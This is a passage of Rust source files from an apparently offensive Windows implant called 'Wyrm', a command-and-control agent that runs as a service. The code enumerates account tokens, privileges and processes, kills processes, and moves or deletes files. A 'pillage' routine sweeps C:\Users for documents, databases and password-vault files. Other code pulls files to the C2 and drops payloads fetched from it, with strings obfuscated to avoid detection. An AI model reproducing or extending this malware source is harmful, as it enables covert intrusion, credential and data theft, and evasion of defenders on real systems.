implant/src/main_svc.rs ================================================ #![feature(string_remove_matches)] #![feature(core_float_math)] #![feature(const_option_ops)] #![feature(const_trait_impl)] #[global_allocator] static GLOBAL_ALLOC: ProcessHeapAlloc = ProcessHeapAlloc; use core::sync::atomic::Ordering; use entry::start_wyrm; use windows_sys::{ Win32::{ Foundation::FALSE, System::Services::{ RegisterServiceCtrlHandlerW, SERVICE_CONTROL_STOP, SERVICE_RUNNING, SERVICE_TABLE_ENTRYW, StartServiceCtrlDispatcherW, }, }, core::PWSTR, }; use crate::{ entry::IS_IMPLANT_SVC, utils::{ allocate::ProcessHeapAlloc, svc_controls::{SERVICE_HANDLE, SERVICE_STOP_EVENT, update_service_status}, }, }; mod anti_sandbox; mod comms; mod entry; mod evasion; mod execute; mod native; mod spawn_inject; mod stubs; mod utils; mod wofs; mod wyrm; /// Creates a service binary name, based on the malleable profile (or unwrap at comptime). The macro /// returns a PWSTR (*mut u16) which can be used in place of a PWSTR in windows_sys macro_rules! service_name_pwstr { () => {{ let svc_name = option_env!("SVC_NAME").unwrap(); let mut svc_name = svc_name.to_string(); svc_name.push('\0'); let mut svc_name_wide: Vec<u16> = svc_name.encode_utf16().collect(); PWSTR::from(svc_name_wide.as_mut_ptr()) }}; } #[unsafe(no_mangle)] pub unsafe extern "system" fn ServiceMain(_: u32, _: *mut PWSTR) { svc_start(); } fn svc_start() { // register the service with SCM let h_svc = unsafe { RegisterServiceCtrlHandlerW(service_name_pwstr!(), Some(service_handler)) }; if h_svc.is_null() { return; } IS_IMPLANT_SVC.store(true, Ordering::SeqCst); SERVICE_HANDLE.store(h_svc, Ordering::SeqCst); unsafe { update_service_status(h_svc, SERVICE_RUNNING) } start_wyrm(); } unsafe extern "system" fn service_handler(control: u32) { match control { SERVICE_CONTROL_STOP => { // TODO, do we want actual stop control to work? SERVICE_STOP_EVENT.store(true, Ordering::SeqCst); } _ => {} } } fn main() { let service_table = [ SERVICE_TABLE_ENTRYW { lpServiceName: service_name_pwstr!(), lpServiceProc: Some(ServiceMain), }, SERVICE_TABLE_ENTRYW::default(), ]; unsafe { if StartServiceCtrlDispatcherW(service_table.as_ptr()) == FALSE { return; } } } ================================================ FILE: implant/src/native/Readme.md ================================================ # Native This module clusters native interactions with the OS where the activity relates to implant actions; as opposed to generic implant info that is found at the top level in src ================================================ FILE: implant/src/native/accounts.rs ================================================ use std::{ffi::c_void, fmt::Display, mem::transmute, ptr::null_mut, slice::from_raw_parts}; use serde::Serialize; use shared::tasks::WyrmResult; use str_crypter::{decrypt_string, sc}; use windows_sys::{ Win32::{ Foundation::{CloseHandle, GetLastError, HANDLE, LUID, LocalFree}, Globalization::lstrlenW, NetworkManagement::NetManagement::UNLEN, Security::{ Authorization::ConvertSidToStringSidW, GetSidSubAuthority, GetSidSubAuthorityCount, GetTokenInformation, LookupAccountSidW, LookupPrivilegeNameW, PSID, SE_PRIVILEGE_ENABLED, SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_REMOVED, TOKEN_MANDATORY_LABEL, TOKEN_PRIVILEGES, TOKEN_QUERY, TOKEN_USER, TokenIntegrityLevel, TokenPrivileges, TokenUser, }, System::{ SystemServices::{ SECURITY_MANDATORY_HIGH_RID, SECURITY_MANDATORY_LOW_RID, SECURITY_MANDATORY_MEDIUM_RID, SECURITY_MANDATORY_SYSTEM_RID, SECURITY_MANDATORY_UNTRUSTED_RID, }, Threading::{GetCurrentProcess, OpenProcessToken}, WindowsProgramming::GetUserNameW, }, }, core::PWSTR, }; use crate::utils::console::print_failed; pub fn get_logged_in_username() -> Option<impl Serialize> { let buf = [0u16; UNLEN as usize]; let mut len: u32 = UNLEN; let result = unsafe { GetUserNameW(PWSTR::from(buf.as_ptr() as *mut _), &mut len) }; if result == 0 { #[cfg(debug_assertions)] println!("[-] Could not get logged in user details. {}", unsafe { GetLastError() }); return None; } // Use the returned count of TCHARS (num chars not bytes) -1 for the null to get a String of the // username let un = if result == 0 || len == 0 { sc!("UNKNOWN", 75).unwrap() } else { String::from_utf16_lossy(&buf[0..len as usize - 1]) }; Some(un) } pub enum ProcessIntegrityLevel { Unknown, Untrusted, Low, Medium, High, System, } impl Display for ProcessIntegrityLevel { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { match self { ProcessIntegrityLevel::Untrusted => write!(f, "untrusted"), ProcessIntegrityLevel::Low => write!(f, "low"), ProcessIntegrityLevel::Medium => write!(f, "medium"), ProcessIntegrityLevel::High => write!(f, "high"), ProcessIntegrityLevel::System => write!(f, "system"), ProcessIntegrityLevel::Unknown => write!(f, "unknown"), } } } pub fn get_process_integrity_level() -> Option<ProcessIntegrityLevel> { let mut token_handle: HANDLE = HANDLE::default(); if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token_handle) } == 0 { #[cfg(debug_assertions)] print_failed(format!("Failed to open process token. {:#X}", unsafe { GetLastError() })); return None; } let mut sz = 0; // purposefully fails let _ = unsafe { GetTokenInformation(token_handle, TokenIntegrityLevel, null_mut(), 0, &mut sz) }; let buffer: Vec<u8> = Vec::with_capacity(sz as _); if unsafe { GetTokenInformation( token_handle, TokenIntegrityLevel, buffer.as_ptr() as *mut c_void, sz, &mut sz, ) } == 0 { #[cfg(debug_assertions)] print_failed(format!("Failed to GetTokenInformation2. {:#X}", unsafe { GetLastError() })); return None; }; let token = unsafe { *transmute::<*const u8, *const TOKEN_MANDATORY_LABEL>(buffer.as_ptr()) }; let count = unsafe { *GetSidSubAuthorityCount(token.Label.Sid) } as u32; let rid = unsafe { *GetSidSubAuthority(token.Label.Sid, count - 1) }; if rid > i32::MAX as u32 { #[cfg(debug_assertions)] print_failed(format!( "RID was greater than i32 max, refusing to convert. Got: {rid}" )); return None; } match rid as i32 { SECURITY_MANDATORY_UNTRUSTED_RID => Some(ProcessIntegrityLevel::Untrusted), SECURITY_MANDATORY_LOW_RID => Some(ProcessIntegrityLevel::Low), SECURITY_MANDATORY_MEDIUM_RID => Some(ProcessIntegrityLevel::Medium), SECURITY_MANDATORY_HIGH_RID => Some(ProcessIntegrityLevel::High), SECURITY_MANDATORY_SYSTEM_RID => Some(ProcessIntegrityLevel::System), _ => { #[cfg(debug_assertions)] print_failed(format!("Could not match RID. Got: {rid}")); None } } } pub fn whoami() -> Option<impl Serialize> { let mut h_tok = null_mut(); let res = unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut h_tok) }; if res == 0 { let s = format!( "{}", sc!("Failed to get token handle when querying token.", 74).unwrap() ); unsafe { CloseHandle(h_tok) }; return Some(WyrmResult::Err(s)); } let mut sz = 0; // purposefully fails let _ = unsafe { GetTokenInformation(h_tok, TokenUser, null_mut(), 0, &mut sz) }; let buffer: Vec<u8> = Vec::with_capacity(sz as _); if unsafe { GetTokenInformation( h_tok, TokenUser, buffer.as_ptr() as *mut c_void, sz, &mut sz, ) } == 0 { let s = format!( "{}. {:#X}", sc!("Failed to GetTokenInformation", 63).unwrap(), unsafe { GetLastError() } ); unsafe { CloseHandle(h_tok) }; return Some(WyrmResult::Err(s)); }; let token = unsafe { *transmute::<*const u8, *const TOKEN_USER>(buffer.as_ptr()) }; let (user, domain) = match lookup_account_sid_w(token.User.Sid) { Ok((u, d)) => (u, d), Err(e) => { let s = format!( "{} {e:#X}", sc!("Failed to lookup account sid.", 91).unwrap() ); unsafe { CloseHandle(h_tok) }; return Some(WyrmResult::Err(s)); } }; let mut p_sid_str_raw = null_mut(); let res = unsafe { ConvertSidToStringSidW(token.User.Sid, &mut p_sid_str_raw) }; if res == 0 { let s = format!( "{} {:#X}", sc!("Error converting SID to String.", 51).unwrap(), unsafe { GetLastError() } ); unsafe { CloseHandle(h_tok) }; unsafe { LocalFree(p_sid_str_raw as *mut _) }; return Some(WyrmResult::Err(s)); } let sid_string = { let len = unsafe { lstrlenW(p_sid_str_raw) }; if len > 0 { let slice = unsafe { from_raw_parts(p_sid_str_raw, len as _) }; String::from_utf16_lossy(slice) } else { String::from("Error") } }; unsafe { LocalFree(p_sid_str_raw as *mut _) }; let mut msg = format!("{:<30} SID\n", sc!("Domain\\Username", 81).unwrap()); msg.push_str(&format!("{:<30} -----\n", "----------------")); let domain_user_concat = format!("{}\\{}", domain, user); msg.push_str(&format!("{:<30} {}\n", domain_user_concat, sid_string)); let permissions = match format_token_permissions(h_tok) { WyrmResult::Ok(p) => p, WyrmResult::Err(e) => { unsafe { CloseHandle(h_tok) }; return Some(WyrmResult::Err(e)); } }; msg.push_str(&permissions); unsafe { CloseHandle(h_tok) }; Some(WyrmResult::Ok(msg)) } fn format_token_permissions(h_tok: *mut c_void) -> WyrmResult<String> { let mut sz = 0; // purposefully fails let _ = unsafe { GetTokenInformation(h_tok, TokenPrivileges, null_mut(), 0, &mut sz) }; let buffer: Vec<u8> = Vec::with_capacity(sz as _); if unsafe { GetTokenInformation( h_tok, TokenPrivileges, buffer.as_ptr() as *mut c_void, sz, &mut sz, ) } == 0 { let s = format!( "{}. {:#X}", sc!("Failed to GetTokenInformation", 63).unwrap(), unsafe { GetLastError() } ); unsafe { CloseHandle(h_tok) }; return WyrmResult::Err(s); }; let tp = buffer.as_ptr() as *const TOKEN_PRIVILEGES; let count = unsafe { (*tp).PrivilegeCount } as usize; let base = unsafe { (*tp).Privileges.as_ptr() }; let entries = unsafe { std::slice::from_raw_parts(base, count) }; let mut builder = String::new(); builder.push_str(&format!("{:<60}\n", "-")); builder.push_str(&format!("{:<60}\n", "-")); builder.push_str(&format!("{:<60} State\n", "Privilege")); builder.push_str(&format!("{:<60} -------\n", "-----------")); for laa in entries { let luid = laa.Luid; let attr = laa.Attributes; let name = luid_to_name(&luid); let state = attrs_to_state(attr); builder.push_str(&format!("{:<60} {}\n", name, state)); } WyrmResult::Ok(builder) } fn luid_to_name(luid: &LUID) -> String { let mut len: u32 = 0; let _ = unsafe { LookupPrivilegeNameW(null_mut(), luid, null_mut(), &mut len) }; let mut buf: Vec<u16> = vec![0u16; len as usize]; let res = unsafe { LookupPrivilegeNameW(null_mut(), luid, buf.as_mut_ptr(), &mut len) }; if res == 0 { return format!("<LookupPrivilegeNameW failed: {:#X}>", unsafe { GetLastError() }); } let len = unsafe { lstrlenW(buf.as_ptr()) }; if len > 0 { let slice = unsafe { from_raw_parts(buf.as_ptr(), len as _) }; String::from_utf16_lossy(slice) } else { String::from("Error") } } fn attrs_to_state(attrs: u32) -> &'static str { if (attrs & SE_PRIVILEGE_REMOVED) != 0 { "Removed" } else if (attrs & SE_PRIVILEGE_ENABLED) != 0 { "Enabled" } else if (attrs & SE_PRIVILEGE_ENABLED_BY_DEFAULT) != 0 { "Enabled by Default" } else { "Disabled" } } fn lookup_account_sid_w(psid: PSID) -> Result<(String, String), u32> { const BUF_SIZE: u32 = 1024; let mut name_sz: u32 = BUF_SIZE; let mut domain_sz: u32 = BUF_SIZE; let mut name_buf: Vec<u16> = vec![0; name_sz as usize]; let mut domain_buf: Vec<u16> = vec![0; domain_sz as usize]; let mut sid_name = 0; let result = unsafe { LookupAccountSidW( null_mut(), psid, name_buf.as_mut_ptr(), &mut name_sz, domain_buf.as_mut_ptr(), &mut domain_sz, &mut sid_name, ) }; if result != 0 { let name = String::from_utf16_lossy(&name_buf[..(name_sz as usize)]); let domain = String::from_utf16_lossy(&domain_buf[..(domain_sz as usize)]); return Ok((name, domain)); } return Err(unsafe { GetLastError() }); } ================================================ FILE: implant/src/native/filesystem.rs ================================================ use std::{ fs::{self, File}, io::{self, Write}, path::{Path, PathBuf}, }; use serde::Serialize; use shared::tasks::{ExfiltratedFile, FileDropMetadata, WyrmResult}; use str_crypter::{decrypt_string, sc}; use crate::utils::console::print_failed; use crate::{ comms::download_file_with_uri_in_memory, wyrm::{Wyrm, get_hostname}, }; pub fn pillage() -> Option<impl Serialize> { // todo other drive discovery would be good too let doc_root = PathBuf::from(r"C:\Users"); let mut listings: Vec<String> = Vec::new(); if let Err(e) = get_file_listings_from_dir_and_subdirs(doc_root, &mut listings) { #[cfg(debug_assertions)] println!("[-] Error reading directories. {e}"); } if listings.is_empty() { return None; } Some(listings) } fn get_file_listings_from_dir_and_subdirs( dir: PathBuf, listings: &mut Vec<String>, ) -> io::Result<()> { let mut dir_buf: Vec<PathBuf> = Vec::new(); dir_buf.push(dir); while let Some(dir) = dir_buf.pop() { if dir.is_dir() { let dir = match fs::read_dir(dir) { Ok(d) => d, Err(_) => { continue; } }; for entry in dir { let entry = match entry { Ok(e) => e, Err(e) => { #[cfg(debug_assertions)] println!("[-] Error reading dir. {e}"); continue; } }; let path = entry.path(); if path.is_dir() { dir_buf.push(path); } else { let ext = path.extension().unwrap_or_default(); let ext = ext.to_str().unwrap_or_default(); if ext.eq_ignore_ascii_case(&sc!("pdf", 56).unwrap()) || ext.eq_ignore_ascii_case(&sc!("doc", 56).unwrap()) || ext.eq_ignore_ascii_case(&sc!("docx", 56).unwrap()) || // ext.eq_ignore_ascii_case("txt") || ext.eq_ignore_ascii_case(&sc!("log", 56).unwrap()) || ext.eq_ignore_ascii_case(&sc!("png", 56).unwrap()) || ext.eq_ignore_ascii_case(&sc!("mov", 56).unwrap()) || ext.eq_ignore_ascii_case(&sc!("kpdb", 56).unwrap()) || ext.eq_ignore_ascii_case(&sc!("xls", 56).unwrap()) || ext.eq_ignore_ascii_case(&sc!("xlsx", 56).unwrap()) || ext.eq_ignore_ascii_case(&sc!("ppt", 56).unwrap()) || ext.eq_ignore_ascii_case(&sc!("pptx", 56).unwrap()) || ext.eq_ignore_ascii_case(&sc!("sql", 56).unwrap()) || ext.eq_ignore_ascii_case(&sc!("sqlite3", 56).unwrap()) || ext.eq_ignore_ascii_case(&sc!("accdb", 56).unwrap()) || ext.eq_ignore_ascii_case(&sc!("csv", 56).unwrap()) || ext.eq_ignore_ascii_case(&sc!("db", 56).unwrap()) { let s = path.to_string_lossy().to_string(); listings.push(s); } } } } } Ok(()) } pub fn dir_listing(cwd: &Path) -> Option<impl Serialize + use<>> { let dir = match fs::read_dir(cwd) { Ok(d) => d, // todo handle Err(e) => { #[cfg(debug_assertions)] print_failed(format!("read_dir produced an error. {e}")); return None; } }; let mut entries = Vec::new(); for e in dir { if let Ok(entry) = e { let label = match entry.metadata() { Ok(metadata) => { if metadata.is_dir() { "[DIR] ".to_string() } else { "[FILE]".to_string() } } Err(e) => { format!("{e}") } }; entries.push(format!("{label} {}", entry.path().display())); } } if entries.is_empty() { #[cfg(debug_assertions)] print_failed("Entries was default."); return None; } Some(entries) } pub enum MoveCopyAction { Move, Copy, } /// Implementation for copying or moving a file from location a to b. /// /// The function takes a [`MoveCopyAction`] which determines whether the function moves or copies a file pub fn move_or_copy_file( implant: &Wyrm, metadata: &str, action: MoveCopyAction, ) -> Option<impl Serialize + use<>> { // // Implementation detail: // // This function should return None in the event of a successful operation, and in the event // of an error we want to return Some(WyrmResult::Error(msg)). This is to reduce the amount // of fingerprintable strings in the agent binary, and the error's don't include any additional // strings, other than an OS error. // // We can handle the output of the success case in the client back on receipt of a `None`. // // Get the data out of the metadata which the implant received from the C2, or return // an error let (from, to) = match serde_json::from_str::<(String, String)>(&metadata) { Ok(v) => v, Err(e) => return Some(WyrmResult::Err::<String>(e.to_string())), }; // The from path can be parsed; as we know the target should (or could) exist. // The to path we will just take for granted that the user knows what they are doing.. // if it is wrong, they will get an error in any case. let from_path = match parse_path( &from, &implant.current_working_directory, PathParseType::File, ) { WyrmResult::Ok(p) => p, WyrmResult::Err(e) => return Some(WyrmResult::Err(e)), }; // Is the path absolute? If not, we need to construct relative to the current working // directory of the agent let mut to_path = PathBuf::from(&to); if !to_path.is_absolute() { to_path = implant.current_working_directory.clone(); to_path.push(&to); } match action { MoveCopyAction::Move => { match std::fs::rename(&from_path, &to_path) { Ok(_) => return None, Err(e) => { #[cfg(debug_assertions)] println!("Failed to move file to {}. {e}", to_path.display()); return Some(WyrmResult::Err(e.to_string())); } }; } MoveCopyAction::Copy => { match std::fs::copy(&from_path, &to_path) { Ok(_) => return None, Err(e) => { #[cfg(debug_assertions)] println!("Failed to copy file to {}. {e}", to_path.display()); return Some(WyrmResult::Err(e.to_string())); } }; } } } pub fn rm_from_fs( implant: &Wyrm, metadata: &str, target_type: PathParseType, ) -> Option<impl Serialize + use<>> { let from = match serde_json::from_str::<String>(&metadata) { Ok(v) => v, Err(e) => return Some(WyrmResult::Err::<String>(e.to_string())), }; let from_path = match parse_path(&from, &implant.current_working_directory, target_type) { WyrmResult::Ok(p) => p, WyrmResult::Err(e) => return Some(WyrmResult::Err(e)), }; match target_type { PathParseType::Directory => { if let Err(e) = fs::remove_dir_all(from_path) { return Some(WyrmResult::Err(format!( "{} {}", sc!("Error removing directory:", 69).unwrap(), e.to_string() ))); } } PathParseType::File => { if let Err(e) = fs::remove_file(from_path) { return Some(WyrmResult::Err(format!( "{} {}", sc!("Error removing file:", 68).unwrap(), e.to_string() ))); } } } Some(WyrmResult::Ok( sc!("Operation completed successfully", 146).unwrap(), )) } /// Drops a file to the disk in the current directory from the C2. pub fn drop_file_to_disk( metadata_str: &Option<String>, wyrm: &Wyrm, ) -> Option<impl Serialize + use<>> { let metadata_str = match metadata_str { Some(m) => m, None => return None, }; let metadata = FileDropMetadata::from(metadata_str.as_str()); // Note: The download uri should be guaranteed here, so an unwrap is acceptable let file_data = match download_file_with_uri_in_memory(&metadata.download_uri.unwrap(), wyrm) { Ok(f) => f, Err(e) => { return Some(WyrmResult::Err(e.to_string())); } }; let mut write_path = PathBuf::from(&wyrm.current_working_directory); write_path.push(&metadata.download_name); let mut buffer = match File::create(write_path) { Ok(b) => b, Err(e) => return Some(WyrmResult::Err(e.to_string())), }; if let Err(e) = buffer.write_all(&file_data) { return Some(WyrmResult::Err(e.to_string())); }; Some(WyrmResult::Ok("".to_string())) } /// Changes the working directory of the implant to what was specified by the user. /// /// # Returns /// The function returns an `Option<impl Serialize + use<>>` to work with the task system. /// /// - `Some`: In the event we managed to change the directory, the function will return the path we /// now have in the cwd to the c2 which can be pulled in the notifications by the operator. /// - `None`: In the event the function failed, `None` will be returned, and again this will be viewable /// by the operator. pub fn change_directory( implant: &mut Wyrm, new_path_str: &Option<String>, ) -> Option<impl Serialize + use<>> { // This should never fail, so long as it is called from the correct place let new_path_str = new_path_str.as_ref().unwrap(); let result = match parse_path( &new_path_str, &implant.current_working_directory, PathParseType::Directory, ) { WyrmResult::Ok(r) => r, WyrmResult::Err(e) => { #[cfg(debug_assertions)] println!("Failed to parse new path. Error: {e}"); return Some(WyrmResult::Err(e)); } }; // Doing so validates the path, makes sure we done change directory on a path that doesn't // exist, or has improper permissions. match fs::canonicalize(result) { Ok(c) => { c.to_string_lossy().into_owned(); implant.current_working_directory = c.clone(); return Some(WyrmResult::Ok(c.to_string_lossy().into_owned())); } Err(e) => { #[cfg(debug_assertions)] print_failed(format!("Failed to canonicalize path when using cd. {e}")); let return_error: Option<WyrmResult<String>> = match e.kind() { std::io::ErrorKind::NotFound => Some(WyrmResult::Err("Not found".to_string())), std::io::ErrorKind::PermissionDenied => { Some(WyrmResult::Err("Permission denied.".to_string())) } _ => Some(WyrmResult::Err(format!( "An error occurred. Code: {}", e.raw_os_error().unwrap_or_default() ))), }; // And we can just return the error state, now we have corrected the cwd. return return_error; } } } #[derive(PartialEq, Eq, Copy, Clone)] pub enum PathParseType { Directory, File, } /// Takes a path which is passed to the implant from the operator, and extracts it into a valid /// path which the implant can then use. pub fn parse_path( new_path_str: &str, current_working_dir: &PathBuf, parse_type: PathParseType, ) -> WyrmResult<String> { // Handle quoted input paths let new_path = if (new_path_str.starts_with("\"") && new_path_str.ends_with("\"")) || (new_path_str.starts_with("\'") && new_path_str.ends_with("\'")) { PathBuf::from(&new_path_str[1..new_path_str.len() - 1]) } else { PathBuf::from(new_path_str) }; // We need an owned copy of `current_working_dir`, without having to trouble to caller to clone // for an owned copy. let mut directory_search_cursor: PathBuf = current_working_dir.clone(); // We will use an option to help the control flow below, rather than a bool, a little // more idiomatic let mut result: Option<WyrmResult<String>> = None; // // First branch we will check is in the case where the cd ends with a ../ // This will be the operator wanting to move up a directory so we can handle // these directly. In the event the operator adds more ../'s than there is // distance to the root, then it won't move past the root. // if new_path_str.ends_with("../") || new_path_str.ends_with(r"..\") { let mut count_dirs_to_move: usize = 0; for token in new_path_str.chars() { if token == '/' || token == '\\' { count_dirs_to_move += 1; } } // For each '/' | '\' we found, pop a dir off of the PathBuf for _ in 0..count_dirs_to_move { directory_search_cursor.pop(); } result = Some(WyrmResult::Ok( directory_search_cursor.to_string_lossy().into_owned(), )); } // // Now we will handle absolute and relative paths // // Checks for absolute paths given in the cli if new_path.is_absolute() && result.is_none() { match parse_type { PathParseType::Directory => { if new_path.exists() && new_path.is_dir() { directory_search_cursor = new_path.clone(); } } PathParseType::File => { if new_path.exists() { directory_search_cursor = new_path.clone(); } } } result = Some(WyrmResult::Ok( directory_search_cursor.to_string_lossy().into_owned(), )); } // Checks for relative paths passed into the cli if result.is_none() { let candidate = directory_search_cursor.join(&new_path); if candidate.exists() { if parse_type == PathParseType::Directory { if candidate.is_dir() { directory_search_cursor.push(new_path); } } else { directory_search_cursor.push(new_path); } result = Some(WyrmResult::Ok( directory_search_cursor.to_string_lossy().into_owned(), )); } } if let Some(result_to_ret) = result { return result_to_ret; } else { return WyrmResult::Err(format!("{new_path_str} not found.")); } } /// Pulls a file from the local filesystem up to the C2, in effect, allowing the operator /// to exfiltrate data. /// /// # Returns /// This function on success returns `WyrmResult::Ok` containing a [`shared::tasks::ExfiltratedFile`]. /// /// On error this function returns `WyrmResult::Err(err)` pub fn pull_file( file_path_str: &str, implant_working_dir: &PathBuf, ) -> WyrmResult<ExfiltratedFile> { // Validate and parse the path we received let file_path = match parse_path(file_path_str, implant_working_dir, PathParseType::File) { WyrmResult::Ok(p) => p, WyrmResult::Err(e) => { #[cfg(debug_assertions)] println!("Failed to parse path. {e}"); return WyrmResult::Err(e); } }; let ef = ExfiltratedFile::new(get_hostname(), file_path, vec![]); WyrmResult::Ok(ef) } ================================================ FILE: implant/src/native/mod.rs ================================================ pub mod accounts; pub mod filesystem; pub mod processes; pub mod registry; pub mod shell; ================================================ FILE: implant/src/native/processes.rs ================================================ //! Native interactions with Windows Processes use serde::Serialize; use shared::{ stomped_structs::Process, tasks::{Task, WyrmResult}, }; use std::{ffi::CStr, mem::MaybeUninit, ptr::null_mut}; use str_crypter::{decrypt_string, sc}; use windows_sys::Win32::{ Foundation::{CloseHandle, FALSE, GetLastError, HANDLE, TRUE}, Security::{ GetTokenInformation, LookupAccountSidW, PSID, SID_NAME_USE, TOKEN_QUERY, TOKEN_USER, TokenUser, }, System::{ Diagnostics::ToolHelp::{ CreateToolhelp32Snapshot, PROCESSENTRY32, Process32First, Process32Next, TH32CS_SNAPALL, }, ProcessStatus::EnumProcesses, Threading::{ OpenProcess, OpenProcessToken, PROCESS_QUERY_LIMITED_INFORMATION, PROCESS_TERMINATE, QueryFullProcessImageNameW, TerminateProcess, }, }, }; use crate::utils::console::print_failed; use crate::utils::strings::utf_16_to_string_lossy; pub fn running_process_details() -> Option<impl Serialize> { // Get the pids; if we fail to do so, quit // let pids = get_pids().ok()?; // Convert the pids to Process types, and return the Option containing the Vec<Process> // pids_to_processes(pids) enum_all_processes() } /// Retrieves the PIDS of running processes /// /// # Returns /// - Ok - A vector of PIDs /// - Err - The GetLastError code after calling EnumProcesses fn get_pids() -> Result<Vec<u32>, u32> { const STARTING_NUM_ELEMENTS: usize = 1024; let mut pids = vec![0u32; STARTING_NUM_ELEMENTS]; loop { let array_len = (pids.len() * size_of::<u32>()) as u32; let mut returned_len = 0; if unsafe { EnumProcesses(pids.as_mut_ptr(), array_len, &mut returned_len) } == 0 { return Err(unsafe { GetLastError() }); } let num_pids = (returned_len as usize) / size_of::<u32>(); if num_pids < pids.len() { pids.truncate(num_pids); return Ok(pids); } pids.resize(pids.len() * 2, 0); } } // /// Converts a Vector of pids to pid:name type [`Process`] // fn pids_to_processes(pids: Vec<u32>) -> Option<Vec<Process>> { // let mut processes = Vec::new(); // for pid in pids { // let handle = unsafe { OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid) }; // if handle.is_null() { // continue; // } // let name = lookup_process_name(handle, pid); // let user = lookup_process_owner_name(handle, pid); // processes.push(Process { pid, name, user }); // let _ = unsafe { CloseHandle(handle) }; // } // if processes.is_empty() { // return None; // } // Some(processes) // } fn lookup_process_name(handle: HANDLE, pid: u32) -> String { const BUF_LEN: u32 = 512; // Zero memset initialise a stack buffer to write the process name to let buf: MaybeUninit<[u16; BUF_LEN as _]> = MaybeUninit::uninit(); let mut buf = unsafe { buf.assume_init() }; let mut sz: u32 = BUF_LEN; let result = unsafe { QueryFullProcessImageNameW(handle, 0, buf.as_mut_ptr(), &mut sz) }; if result == 0 { #[cfg(debug_assertions)] { print_failed(format!( "Failed to look up image name for pid {pid}. Error code: {:#X}", unsafe { GetLastError() } )); } return sc!("unknown", 87).unwrap(); } let full_str = unsafe { utf_16_to_string_lossy(buf.as_ptr(), sz as _) }; let parts: Vec<&str> = full_str.split('\\').collect(); parts[parts.len() - 1].to_string() } fn lookup_process_owner_name(pid: u32) -> String { let mut token_handle: HANDLE = HANDLE::default(); let mut user = String::new(); let handle = unsafe { OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid) }; if handle.is_null() { return String::new(); } let result = unsafe { OpenProcessToken(handle, TOKEN_QUERY, &mut token_handle) } as u8; if result == 0 { #[cfg(debug_assertions)] { let gle = unsafe { GetLastError() }; print_failed(format!( "Failed to initially open token on process {pid}. {gle:#X}" )); } return sc!("unknown", 78).unwrap(); } let mut token_size = 0; unsafe { GetTokenInformation(token_handle, TokenUser, null_mut(), 0, &mut token_size) }; // // If we received data, pull out the token info (gives us the users SID which we can convert to a username) // if token_size > 0 { let mut token_info: Vec<u8> = Vec::with_capacity(token_size as _); let result = unsafe { GetTokenInformation( token_handle, TokenUser, token_info.as_mut_ptr() as *mut _, token_size, &mut token_size, ) }; if result == 0 { #[cfg(debug_assertions)] { let gle = unsafe { GetLastError() }; print_failed(format!( "Failed to read token info on process {pid}. {gle:#X}" )); } unsafe { CloseHandle(token_handle) }; return sc!("unknown", 78).unwrap(); } // // At this point we have properly got the token info, it now needs parsing as a SID // and looking up. // let sid = unsafe { *(token_info.as_ptr() as *const TOKEN_USER) } .User .Sid as PSID; const BUF_LEN: u32 = 256; let mut name_tchars = BUF_LEN; let mut domain_tchars = BUF_LEN; let mut sid_type = SID_NAME_USE::default(); // Zero memset initialise a stack buffer to write the process name to let wide_name: MaybeUninit<[u16; BUF_LEN as _]> = MaybeUninit::uninit(); let mut wide_name = unsafe { wide_name.assume_init() }; let wide_domain: MaybeUninit<[u16; BUF_LEN as _]> = MaybeUninit::uninit(); let mut wide_domain = unsafe { wide_domain.assume_init() }; let result = unsafe { LookupAccountSidW( null_mut(), sid, wide_name.as_mut_ptr(), &mut name_tchars, wide_domain.as_mut_ptr(), &mut domain_tchars, &mut sid_type, ) }; if result == 0 { #[cfg(debug_assertions)] { let gle = unsafe { GetLastError() }; print_failed(format!("Failed to lookup account SID {pid}. {gle:#X}")); } return sc!("unknown", 78).unwrap(); } // // Convert to a native string // user = unsafe { utf_16_to_string_lossy(wide_name.as_ptr(), name_tchars as _) }; } else { #[cfg(debug_assertions)] { let gle = unsafe { GetLastError() }; print_failed(format!( "No data received when trying to open token {pid}. {gle:#X}" )); } user = sc!("unknown", 78).unwrap(); } unsafe { CloseHandle(token_handle) }; user } /// Kills a process by its pid. /// /// # Returns /// /// ## On success /// - `Some(WyrmResult(pid))` where the inner pid is the PID of the killed process. /// /// ## On Error /// - `None`: A non-descript silent error (to maintain some pattern OPSEC)# /// - `Some(WyrmResult(String))`: An error which can be printed to the client pub fn kill_process(pid: &Task) -> Option<WyrmResult<String>> { let pid: u32 = match pid.metadata.as_ref().unwrap().parse() { Ok(p) => p, Err(_) => return None, }; let handle = unsafe { OpenProcess(PROCESS_TERMINATE, FALSE, pid as _) }; if handle.is_null() { return Some(WyrmResult::Err(format!("Error code: {:#X}", unsafe { GetLastError() }))); } if unsafe { TerminateProcess(handle, 0) } == FALSE { let _ = unsafe { CloseHandle(handle) }; return Some(WyrmResult::Err(format!("Error code: {:#X}", unsafe { GetLastError() }))); } let _ = unsafe { CloseHandle(handle) }; #[cfg(debug_assertions)] { use crate::utils::console::print_success; print_success(format!("Successfully terminated process {pid}")); } Some(WyrmResult::Ok(pid.to_string())) } fn enum_all_processes() -> Option<Vec<Process>> { let h_snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0) }; if h_snapshot.is_null() { return None; } let mut processes: Vec<Process> = Vec::new(); let mut process_entry = PROCESSENTRY32::default(); process_entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32; if unsafe { Process32First(h_snapshot, &mut process_entry) } == TRUE { loop { // // Get the process name // let current_process_name_ptr = process_entry.szExeFile.as_ptr() as *const _; let current_process_name = match unsafe { CStr::from_ptr(current_process_name_ptr) }.to_str() { Ok(process) => process.to_string(), Err(e) => { #[cfg(debug_assertions)] print_failed(format!("Error converting process name. {e}")); continue; } }; let pid = process_entry.th32ProcessID; let username = lookup_process_owner_name(pid); let ppid = process_entry.th32ParentProcessID; processes.push(Process { pid, name: current_process_name, user: username, ppid, }); // continue enumerating if unsafe { Process32Next(h_snapshot, &mut process_entry) } == FALSE { break; } } } unsafe { let _ = CloseHandle(h_snapshot); }; Some(processes) } ================================================ FILE: implant/src/native/registry.rs ================================================ use std::slice::from_raw_parts; use serde::Serialize; use shared::{ stomped_structs::RegQueryResult, task_types::{RegAddInner, 